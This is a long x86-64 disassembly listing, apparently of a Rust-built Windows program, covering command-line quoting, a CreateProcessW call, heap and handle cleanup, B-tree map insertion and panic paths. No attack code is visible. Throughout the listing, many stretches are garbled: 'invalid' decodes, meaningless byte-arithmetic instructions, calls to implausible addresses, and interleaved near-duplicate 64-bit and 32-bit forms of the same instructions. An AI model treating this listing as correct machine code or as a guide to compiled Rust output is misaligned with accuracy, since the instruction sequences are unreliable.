mov rdi, qword [rbp + 0x500]
mov r13, qword [rbp + 0x5a0]
jmp 0x140084e95
mov r13, qword [rbp + 0x5a0]
mov r8, qword [rbp + 0x4e0]
mov r15, qword [rbp + 0x4f0]
mov word [r15 + rdi*2], 0x22
inc rdi
mov qword [rbp + 0x500], rdi
lea rax, [r8 + r8]
xor ecx, ecx
lea r12, [0x1400e1cc0]
mov rdx, qword [rbp + 0x5a8]
cmp rax, rcx
je 0x140084ed6
cmp word [rdx + rcx], 0x22
lea rcx, [rcx + 2]
jne 0x140084ec1
jmp 0x14008514e
mov rax, qword [rbp + 0x5a8]
movzx eax, word [rax + r8*2 - 2]
cmp ax, 0x5c
je 0x14008514e
lea rbx, [r8 - 1]
xor r14d, r14d
test ax, ax
mov rax, qword [rbp + 0x5a8]
cmove r14, rax
test r14, r14
cmove rbx, r8
cmove r14, rax
mov r12, qword [rbp + 0x4f8]
mov rax, r12
sub rax, rdi
cmp rax, rbx
jae 0x140084f46
lea rcx, [rbp + 0x4f0]
mov rdx, rdi
mov r8, rbx
call fcn.1400a3250
mov rdi, qword [rbp + 0x500]
mov r15, qword [rbp + 0x4f0]
mov r12, qword [rbp + 0x4f8]
lea r8, [rbx + rbx]
lea rcx, [r15 + rdi*2]
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
add rdi, rbx
mov qword [rbp + 0x500], rdi
cmp rdi, r12
jne 0x140084f82
lea rcx, [rbp + 0x4f0]
mov rdx, r12
call fcn.14000cb40
mov r15, qword [rbp + 0x4f0]
mov rdi, qword [rbp + 0x500]
mov word [r15 + rdi*2], 0x22
inc rdi
mov qword [rbp + 0x500], rdi
mov rax, qword [rbp + 0x4b8]
lea rax, [rax + rax*4]
lea r14, [0x1400e1cdf]
and r14, 0xfffffffffffffff8
lea r15, str._t____________
sub r14, r15
sete cl
cmp r14, 0x16
mov edx, 0x16
cmovae r14, rdx
mov rdi, qword [rbp + 0x4b0]
lea r13, [rdi + rax*8]
test r14, r14
sete al
or al, cl
mov byte [rbp + 0x4e0], al
cmp rdi, r13
je 0x1400854cb
mov rdx, qword [rbp + 0x500]
cmp rdx, qword [rbp + 0x4f8]
jne 0x140085008
lea rcx, [rbp + 0x4f0]
call fcn.14000cb40
mov rdx, qword [rbp + 0x500]
lea rax, [rdx + 1]
mov rcx, qword [rbp + 0x4f0]
mov word [rcx + rdx*2], 0x20
mov qword [rbp + 0x500], rax
movzx eax, byte [rbp + 0x4a8]
mov r8d, eax
cmp byte [rbp + 0x4e8], 0
jne 0x140085122
cmp qword [rdi], 0
movzx eax, byte [rbp + 0x4a8]
mov r8d, eax
jne 0x140085122
mov rax, qword [rdi + 8]
mov rcx, qword [rdi + 0x18]
add rcx, rax
cmp rax, rcx
je 0x14008511a
movzx edx, byte [rax]
cmp byte [rbp + 0x4e0], 0
je 0x1400850cb
xor r8d, r8d
movzx r9d, dl
movabs r10, 0x101010101010101
imul r9, r10
mov r10, qword [r8 + r15]
xor r10, r9
movabs rbx, 0xfefefefefefefeff
lea r11, [r10 + rbx]
not r10
and r10, r11
xor r9, qword [r8 + r15 + 8]
lea r11, [r9 + rbx]
not r9
and r9, r11
or r9, r10
movabs r10, 0x8080808080808080
test r9, r10
je 0x1400850e7
lea r10, [r15 + r8]
mov r9d, 0x16
sub r9, r8
jmp 0x1400850fd
xor r8d, r8d
cmp byte [r8 + r15], dl
je 0x14008511f
inc r8
cmp r14, r8
jne 0x1400850ce
mov r8, r14
cmp r14, 6
jbe 0x14008506e
jmp 0x1400850eb
add r8, 0x10
mov r9, r8
sub r9, 0x16
je 0x14008510e
add r8, r15
neg r9
mov r10, r8
xor r8d, r8d
cmp byte [r10 + r8], dl
je 0x14008511f
inc r8
cmp r9, r8
jne 0x140085100
inc rax
cmp rax, rcx
jne 0x14008505f
xor r8d, r8d
jmp 0x140085122
mov r8b, 1
lea rcx, [rbp + 0x4f0]
mov rbx, rdi
mov rdx, rdi
call fcn.140088e50
mov r12, rax
mov rdi, rbx
add rdi, 0x28
test rax, rax
je 0x140084fdc
mov r13, qword [rbp + 0x5a0]
cmp qword [rbp + 0x4f8], 0
je 0x14008516e
mov r8, qword [rbp + 0x4f0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x4d8]
mov qword [rax], r12
mov qword [rax + 0x10], 2
cmp qword [rbp + 0x5b8], 0
je 0x140083fbc
mov rcx, qword [0x1400f0220]
xor esi, esi
xor edx, edx
mov r8, qword [rbp + 0x580]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140083fbe
call fcn.1400a7ca0
mov esi, eax
xor sil, 1
jmp 0x14008491c
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x524], xmm0
movdqu xmmword [rbp + 0x518], xmm0
movdqu xmmword [rbp + 0x508], xmm0
movdqu xmmword [rbp + 0x4f8], xmm0
movdqu xmmword [rbp + 0x538], xmm0
movdqu xmmword [rbp + 0x548], xmm0
test rdx, rdx
mov rcx, qword [rbp + 0x420]
jne 0x14008520a
test rcx, rcx
jne 0x14008520a
cmp qword [rbp + 0x428], 0
je 0x140085230
mov dword [rbp + 0x52c], pe_nt_image_headers64
mov rax, qword [rbp + 0x428]
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x548], rcx
mov qword [rbp + 0x550], rdx
mov qword [rbp + 0x410], rdx
mov rdx, qword [rbp + 0x588]
mov rbx, qword [rdx + 0xb8]
test rbx, rbx
je 0x14008533d
add rdx, 0xa8
mov dword [rbp + 0x4f0], 0x70
lea rcx, [rbp + 0x3e0]
call fcn.140089e90
mov rdi, qword [rbp + 0x3e0]
mov rcx, qword [rbp + 0x3e8]
test rdi, rdi
je 0x140085559
mov qword [rbp + 0x588], rcx
or r15d, 0x80000
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x30], rax
movups xmm0, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x20], xmm0
movups xmm0, xmmword [rbp + 0x530]
movaps xmmword [rbp + 0x10], xmm0
movdqu xmm0, xmmword [rbp + 0x4f0]
movups xmm1, xmmword [rbp + 0x500]
movups xmm2, xmmword [rbp + 0x510]
movups xmm3, xmmword [rbp + 0x520]
movaps xmmword [rbp], xmm3
movaps xmmword [rbp - 0x10], xmm2
movaps xmmword [rbp - 0x20], xmm1
movdqa xmmword [rbp - 0x30], xmm0
mov qword [rbp + 0x38], rdi
lea rax, [rbp - 0x30]
jmp 0x14008534e
mov rsi, rax
movdqu xmm6, xmmword [rbp - 0x28]
cmp qword [rbp + 0x598], 0
je 0x140085311
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x5a8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rbp + 0x588]
mov r9, rsi
jmp 0x1400839b6
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e0350]
mov edx, 0x2b
call fcn.1400a4530
jmp 0x1400859a5
mov dword [rbp + 0x4f0], 0x68
lea rax, [rbp + 0x4f0]
mov rdx, qword [rbp + 0x4c0]
lea rcx, [rbp + 0x490]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r14
mov r14, rdx
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 1
mov rcx, qword [rbp + 0x580]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
je 0x140085523
movups xmm0, xmmword [rbp + 0x430]
movups xmm1, xmmword [rbp + 0x440]
movups xmm2, xmmword [rbp + 0x450]
mov rax, qword [rbp + 0x4d8]
movups xmmword [rax + 0x30], xmm2
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [rbp + 0x490]
movups xmmword [rax], xmm0
test rbx, rbx
je 0x1400853e1
mov rcx, rdi
mov rdx, qword [rbp + 0x588]
call fcn.14008a340
mov rsi, qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x410]
call rsi
mov rcx, qword [rbp + 0x420]
call rsi
mov rcx, qword [rbp + 0x428]
call rsi
lea rcx, [rbp + 0x560]
call fcn.140089e40
cmp qword [rbp + 0x4b0], 0
mov r13, qword [rbp + 0x5a0]
je 0x140085436
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x4b8]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x4e8], 0
mov rsi, qword [rbp + 0x598]
je 0x14008545d
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x4e0]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x4c8], 0
je 0x140085479
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x5b8], 0
je 0x140085499
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x580]
call qword [sym.imp.kernel32.dll_HeapFree]
test rsi, rsi
sete al
mov ecx, dword [rbp + 0x4a8]
or cl, al
cmp cl, 1
je 0x140083e56
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x5a8]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140083e56
mov rdx, qword [rbp + 0x500]
cmp rdx, qword [rbp + 0x4f8]
jne 0x1400854ee
lea rcx, [rbp + 0x4f0]
call fcn.14000cb40
mov rdx, qword [rbp + 0x500]
mov r13, qword [rbp + 0x5a0]
mov rax, qword [rbp + 0x4f0]
mov word [rax + rdx*2], 0x22
inc rdx
mov rdi, qword [rbp + 0x4f8]
mov cl, 1
mov dword [rbp + 0x41c], ecx
mov dword [rbp + 0x4a8], 0
jmp 0x140083ed5
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rcx, qword [rbp + 0x4d8]
mov qword [rcx], rax
mov qword [rcx + 0x10], 2
test rbx, rbx
je 0x14008556b
mov rcx, rdi
mov rdx, qword [rbp + 0x588]
call fcn.14008a340
jmp 0x14008556b
mov rax, qword [rbp + 0x4d8]
mov qword [rax], rcx
mov qword [rax + 0x10], 2
mov rcx, qword [rbp + 0x410]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x420]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x428]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rbp + 0x430], 0
je 0x1400855a9
mov rcx, qword [rbp + 0x438]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rbp + 0x440], 0
je 0x1400855c0
mov rcx, qword [rbp + 0x448]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rbp + 0x450], 0
je 0x1400855d7
mov rcx, qword [rbp + 0x458]
call qword [sym.imp.kernel32.dll_CloseHandle]
test r13b, r13b
test sil, sil
mov r13, qword [rbp + 0x5a0]
jne 0x1400855f9
mov rax, qword [0x1400f02b8]
shl rax, 1
test rax, rax
jne 0x14008569b
lea rcx, [0x1400f0230]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
cmp qword [rbp + 0x4b0], 0
je 0x140085626
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x4b8]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x4e8], 0
je 0x140085646
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x4e0]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x4c8], 0
je 0x140085666
mov r8, qword [rbp + 0x4c0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x5b8], 0
je 0x140085686
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x580]
call qword [sym.imp.kernel32.dll_HeapFree]
mov sil, 1
cmp byte [rbp + 0x4a8], 0
je 0x140083fbe
jmp 0x140083e56
call fcn.1400a7ca0
test al, al
jne 0x1400855f9
mov byte [0x1400f0238], 1
jmp 0x1400855f9
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x560], rax
lea rax, [rbp + 0x560]
mov qword [rbp + 0x430], rax
lea rax, [0x14007ba20]
mov qword [rbp + 0x438], rax
lea rax, str.comparing_environment_keys_failed:
mov qword [rbp + 0x4f0], rax
mov qword [rbp + 0x4f8], 1
mov qword [rbp + 0x510], 0
lea rax, [rbp + 0x430]
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x508], 1
lea rdx, str.library_std_src_syswindowsprocess.rs
lea rcx, [rbp + 0x4f0]
call fcn.1400a4370
jmp 0x1400859a5
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400df9e8]
mov edx, 0x2b
call fcn.1400a4530
jmp 0x1400859a5
mov ecx, 1
mov rdx, qword [rbp + 0x5b8]
call fcn.1400a42a0
jmp 0x1400859a5
mov byte [rbp + 0x5b7], 1
mov ecx, 1
mov rdx, rdi
call fcn.1400a42a0
jmp 0x1400859a5
call fcn.14003bdd0
jmp 0x1400859a5
mov byte [rbp + 0x5b7], 1
call fcn.14003bdd0
jmp 0x1400859a5
call fcn.14003bdd0
jmp 0x1400859a5
mov ecx, 2
mov rdx, r15
call fcn.1400a42a0
jmp 0x1400859a5
lea rcx, str.assertion_failed:_self.height___0
lea r8, [0x1400e0018]
mov edx, 0x21
call fcn.1400a4530
jmp 0x1400859a5
mov byte [rbp + 0x5c7], 1
mov ecx, 1
mov edx, 4
call fcn.1400a42a0
jmp 0x1400859a5
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400a4530
jmp 0x1400859a5
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400a4530
jmp 0x1400859a5
mov byte [rbp + 0x5c7], 1
mov ecx, 1
mov rdx, r15
call fcn.1400a42a0
jmp 0x1400859a5
mov byte [rbp + 0x5c7], 1
call fcn.14003bdd0
jmp 0x1400859a5
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400a4530
jmp 0x1400859a5
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rdi
mov r8, rax
call fcn.1400a44b0
jmp 0x1400859a5
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_sliceiter.rs
call fcn.1400a43b0
jmp 0x1400859a5
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rdi
mov r8, rax
call fcn.1400a44b0
jmp 0x1400859a5
lea r8, str.library_std_src_syswindowsmod.rs
mov rcx, rax
mov rdx, r15
call fcn.1400a44b0
jmp 0x1400859a5
call fcn.14003bdd0
jmp 0x1400859a5
mov ecx, 2
mov edx, 0xc
call fcn.1400a42a0
jmp 0x1400859a5
mov ecx, 2
mov rdx, rbx
call fcn.1400a42a0
ud2
mov ecx, dword [rbp + 0x240]
mov qword [rbp + 0x1d8], rcx
mov dword [rbp + 0x1d8], ecx
mov rcx, qword [rbp + 0x238]
mov qword [rbp + 0x1e0], rcx
movaps xmm0, xmmword [rbp + 0x110]
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], r8
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], rsi
mov byte [rbp + 0x1d0], r10b
mov r14, qword [r15]
test r14, r14
je 0x140088053
invalid
add byte [rcx - 0x75], cl
jg 0x140087be8
mov rdi, qword [r15 + 8]
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
test rcx, rcx
mov r12, r9
jne 0x140087c0f
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140088042
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 0x438
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140088042
mov qword [rax + 0x160], 0
mov word [rax + 0x3d2], 0
mov qword [rax + 0x3d8], r14
add byte [rax - 0x73], cl
add qword [r9 - 0x77], r9
xchg byte [rax + 1], ah
add byte [rax], al
add byte [rax - 0x73], cl
add qword [r9 - 0x77], r9
xchg byte [rax + 1], ah
add byte [rax], al
mov word [r14 + 0x3d0], 0
mov qword [r15], rax
mov qword [r15 + 8], rcx
cmp rdi, rsi
jne 0x140088074
test dword [rsi], ecx
add al, 0
invalid
test dword [rsi], ecx
add al, 0
add byte [rdi], cl
mov bh, 0x88
mov dl, dl
add eax, dword [rax]
invalid
movzx ecx, word [rax + 0x3d2]
mov dl, dl
add eax, dword [rax]
add byte [rax - 0x7d], cl
cmp ecx, 0xb
jae 0x140088095
cmp rcx, 0xb
cmp ecx, 0xb
jae 0x140088095
lea rdx, [rbp + 0x1d8]
lea r8d, [rcx + 1]
mov word [rax + 0x3d2], r8w
imul r8, rcx, 0x38
mov r9, qword [rbx + 0x30]
mov qword [rax + r8 + 0x198], r9
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmmword [rax + r8 + 0x188], xmm2
movups xmmword [rax + r8 + 0x178], xmm1
movups xmmword [rax + r8 + 0x168], xmm0
add byte [rcx - 0x77], cl
enter 0xffffffffffffc149, 0xffffffffffffffe0
add eax, 0xf02100f
adc byte [rdx + 0x10], cl
add byte [rcx - 0x77], cl
enter 0xffffffffffffc149, 0xffffffffffffffe0
add eax, 0xf02100f
adc byte [rdx + 0x10], cl
movups xmmword [rax + r8 + 0x10], xmm1
movups xmmword [rax + r8], xmm0
mov rdx, qword [rbp + 0x220]
mov qword [rax + rcx*8 + 0x3e0], rdx
mov qword [rdx + 0x160], rax
inc ecx
mov word [rdx + 0x3d0], cx
jmp 0x140087f13
add byte [rax], al
imul rcx, rdi, 0x38
add rcx, rax
mov rbx, r13
sub rbx, rsi
imul r8, rbx, 0x38
mov rdx, r15
call sub.VCRUNTIME140.dll_memmove
movaps xmm0, xmmword [rbp + 0x140]
movaps xmm1, xmmword [rbp + 0x150]
movaps xmm2, xmmword [rbp + 0x160]
add byte [rax], al
add byte [rax], al
movups xmmword [r15], xmm0
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15 + 0x20], xmm2
mov rax, qword [rbp + 0x170]
mov qword [r15 + 0x30], rax
mov r15, rsi
shl r15, 5
lea rdx, [r12 + r15]
mov rcx, rdi
shl rcx, 5
add rcx, r12
mov r8, rbx
shl r8, 5
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rbp + 0x240]
mov qword [r12 + r15], rax
mov rax, qword [rbp + 0x238]
mov qword [r12 + r15 + 8], rax
movaps xmm0, xmmword [rbp + 0x110]
movups xmmword [r12 + r15 + 0x10], xmm0
lea rdx, [r12 + rdi*8]
add rdx, 0x3d8
lea rcx, [r12 + rsi*8]
add rcx, 0x3e8
shl rbx, 3
mov r8, rbx
call sub.VCRUNTIME140.dll_memmove
jmp 0x140087e2f
lea rax, [r13 + 2]
mov rcx, qword [rbp + 0x220]
mov qword [r12 + rsi*8 + 0x3e0], rcx
mov word [r12 + 0x3d2], r14w
cmp rdi, rax
mov r11, qword [rbp + 0x138]
mov r15, qword [rbp + 0x208]
jae 0x140087f10
mov ecx, r13d
sub ecx, esi
inc ecx
sub r13, rsi
and ecx, 3
je 0x140087ea0
lea r8, [r12 + rsi*8]
add r8, 0x3e0
xor edx, edx
mov r9, qword [r8 + rdx*8]
mov qword [r9 + 0x160], r12
lea r10d, [rdi + rdx]
mov word [r9 + 0x3d0], r10w
inc rdx
cmp rcx, rdx
jne 0x140087e7e
cmp r13, 3
jb 0x140087f10
mov r12, r11
inc qword [r15 + 0x10]
mov byte [r12 + 0x18], 2
add rsp, 0x2e8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, 8
mov edx, 0x438
call fcn.1400a42a0
jmp 0x1400880b4
mov qword [rbp + 0x250], r14
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_alloc_srccollections_btreemapentry.rs0
mov edx, 0x2b
call fcn.1400a4530
jmp 0x1400880b4
mov qword [rbp + 0x250], r14
lea rcx, [0x1400dff23]
lea r8, [0x1400dff58]
mov edx, 0x30
call fcn.1400a4530
jmp 0x1400880b4
mov qword [rbp + 0x250], r14
lea rcx, str.assertion_failed:_idx___CAPACITY_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_alloc_srccollections_btree_node.rsassertion_failed:_edge.height__self.height___1
lea r8, [0x1400dff70]
mov edx, 0x20
call fcn.1400a4530
ud2
dec dword [rax - 0x39]
invalid
add byte [rdi], cl
sub byte [rsp + 0x70], dh
movaps xmm6, xmmword [rsp + 0x70]
add rsp, 0x88
pop rdi
pop rsi
ret
add byte [rax], al
movq rax, xmm6
test rax, rax
je 0x140088d05
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
movaps xmm6, xmmword [rsp + 0x70]
add rsp, 0x88
jo 0x140088d7f
add esp, 0x88
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
sub rsp, 0x40
lea rbp, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov qword [rbp - 8], 0xfffffffffffffffe
mov dword [rbp - 8], 0xfffffffe
cmp qword [rcx], 0
je 0x140088db2
mov rax, qword [rcx + 8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
cli
add dh, byte [rdx + 0x52]
cli
add dh, byte [rdx + 0x52]
test rcx, rcx
je case.0x14007a1a1.389
lea rcx, [rax - 1]
lea rcx, [rax - 1]
mov qword [rbp - 0x20], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x18], rax
call qword [rax]
mov rax, qword [rbp - 0x18]
call 0x1488110ea
invalid
je 0x140088dea
invalid
invalid
call 0x1488110ea
add byte [rbp + rax*2 + 0x48], dh
cmp qword [rax + 0x10], 0x11
cmp qword [rax + 0x10], 0x11
cmp qword [rax + 0x10], 0x11
jae 0x140088dd3
mov r8, qword [rbp - 0x10]
jmp 0x140088ddb
invalid
mov r8, qword [rcx + 8]
test r8, r8
je case.0x14007a1a1.389
or byte [rbp - 0x7b], cl
sal byte [rdx + rdx + 0x48], 0x83
invalid
jns 0x140088dcf
cmp qword [rcx + 0x10], 0
cmp dword [rcx + 0x10], 0
add byte [rbx + rcx + 0x48], dh
mov ecx, dword [0x1400f0220]
je case.0x14007a1a1.389
mov rcx, qword [0x1400f0220]
xor edx, edx
jmp 0x140088df7
add rsp, 0x40
pop rbp
ret
invalid
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x20546
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp - 0x20]
je 0x140088df6
add rsp, 0x40
add esp, 0x40
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x2052d
and eax, 0x2052d
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
and al, 0x10
adc byte [rbp + 0x48], dl
sub esp, 0x20
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
call 0x14859196e
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
call fcn.1400755d0
mov rcx, qword [rbp - 0x20]
call fcn.14008b740
loopne 0x140088e20
add al, 0x29
add byte [rax], al
nop
add rsp, 0x20
pop rbp
ret
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
movaps xmmword [rsp + 0x50], xmm6
mov rsi, rcx
xor r8b, 1
cmp qword [rdx], 0
movzx eax, r8b
mov r8d, 2
add byte [rax], al
add byte [rax], al
cmove r8d, eax
mov rbx, qword [rdx + 8]
mov rcx, qword [rdx + 0x18]
lea r14, [rbx + rcx]
xor r11d, r11d
lea rax, str.nul_byte_found_in_provided_data
lea eax, [0x1400e2140]
lea eax, [0x1400e2140]
lodsb al, byte [rsi]
xchg edx, eax
add eax, 0xda894800
mov rdx, rbx
jmp 0x140088ead
add byte [rax], al
xor r11d, r11d
test r9w, r9w
leave
leave
je 0x14008926c
mov r9w, 1
test r11w, r11w
jne 0x140088ea0
cmp rdx, r14
je 0x140088f7b
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x3a
movzx edi, byte [rdx]
movzx r10d, dil
test r10b, r10b
js 0x140088ed5
inc rdx
inc edx
jmp 0x140088f70
mov r11d, r10d
and r11d, 0x1f
movzx ebp, byte [rdx + 1]
and ebp, 0x3f
cmp r10b, 0xdf
fbstp tbyte [rsi + 0x40]
test r8b, r8b
je 0x140088fc2
movzx eax, r8b
movzx eax, al
cmp eax, 2
jne 0x140088f90
invalid
invalid
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
jne 0x140088fd8
and al, byte [rax]
inc rdx
mov qword [rsi + 0x10], rdx
mov bpl, 1
mov r15b, 1
xor r12d, r12d
movaps xmm6, xmmword [0x1400a98f0]
xor edi, edi
jmp 0x140089012
cmp ah, 0xdf
jbe 0x14008908c
invalid
inc dword [rax]
add byte [rsi + 0x19], dh
jmp 0x140089183
xor r13d, r13d
test bpl, bpl
je 0x14008914d
cmp r12w, 0x22
je 0x1400890c8
mov rax, qword [rsi]
test rdi, rdi
je 0x14008913e
cmp rdi, 0x10
jae 0x1400890fa
movups xmmword [r8 + r9*2 - 0x10], xmm6
movups xmmword [r8 + r9*2], xmm6
add r9, 0x10
add ecx, 0x10
invalid
add ecx, 0x10
cmp rcx, r9
jne 0x140089110
add rdx, rcx
cmp rdi, rcx
je 0x14008913e
sub rdi, rcx
nop
mov word [rax + rdx*2], 0x5c
inc rdx
dec rdi
jne 0x140089130
mov word [rax + rdx*2], 0x5c
inc rdx
inc edx
inc edx
mov qword [rsi + 0x10], rdx
xor edi, edi
invalid
dec dword [rax - 0x75]
push rsi
adc byte [rax + 0x3b], cl
push rsi
or byte [rdi], cl
test dword [rbp + 0x48fffffe], esp
movsd dword [rdi], dword [rsi]
invalid
invalid
dec dword [rax - 0x77]
int1
call fcn.14000cb40
mov rdx, qword [rsi + 0x10]
jmp 0x140089000
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
jne 0x140089000
movsd dword [rdi], dword [rsi]
invalid
invalid
invalid
or r12d, eax
cmp r12d, 0xffff
jbe 0x1400890a0
lea eax, [r12 + 0xff0000]
lea eax, [rsp + 0xff0000]
shr eax, 0xa
or eax, 0xd800
and r12d, 0x3ff
or r12d, 0xdc00
mov r13d, r12d
in eax, 0x41
mov esp, eax
in eax, 0x41
mov esp, eax
test bpl, bpl
je 0x14008914d
jmp 0x1400890ac
sti
invalid
call fcn.1400a3250
mov rdx, qword [rsi + 0x10]
adc cl, ch
invalid
invalid
invalid
invalid
ror dword [rax + 0x39], 1
stc
jb 0x140089282
invalid
add byte [rax - 0x7b], cl
push qword [rbx + rbx*2 + 0x48]
test rdi, rdi
je 0x140089242
mov rax, qword [rsi]
mov eax, dword [rsi]
cmp rdi, 0x10
jae 0x1400891f4
xor ecx, ecx
jmp 0x14008922c
mov rcx, rdi
and rcx, 0xfffffffffffffff0
invalid
lea r8, [rax + rdx*2]
add r8, 0x10
xor r9d, r9d
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xf], al
movups xmmword [rax + rcx*2 - 0x10], xmm6
movups xmmword [r8 + r9*2 - 0x10], xmm6
movups xmmword [rax + rcx*2 - 0x10], xmm6
movups xmmword [r8 + r9*2], xmm6
adc dword [rax + rcx*2], esi
add r9, 0x10
cmp rcx, r9
jne 0x140089210
in al, dx
add rdx, rcx
cmp rdi, rcx
je 0x14008923e
sub rdi, rcx
sub edi, ecx
nop
mov word [rax + rdx*2], 0x5c
pop rsp
add byte [rax - 1], cl
inc rdx
invalid
invalid
inc rdx
dec rdi
jne 0x140089230
mov rax, qword [rsi + 8]
mov eax, dword [rsi + 8]
or byte [rax - 0x77], r9b
push rsi
adc byte [rax + 0x39], cl
cmp rdx, rax
jne 0x14008925a
mov qword [rsi + 0x10], rdx
cmp rdx, rax
jne 0x14008925a
mov rcx, rsi
mov rdx, rax
call fcn.14000cb40
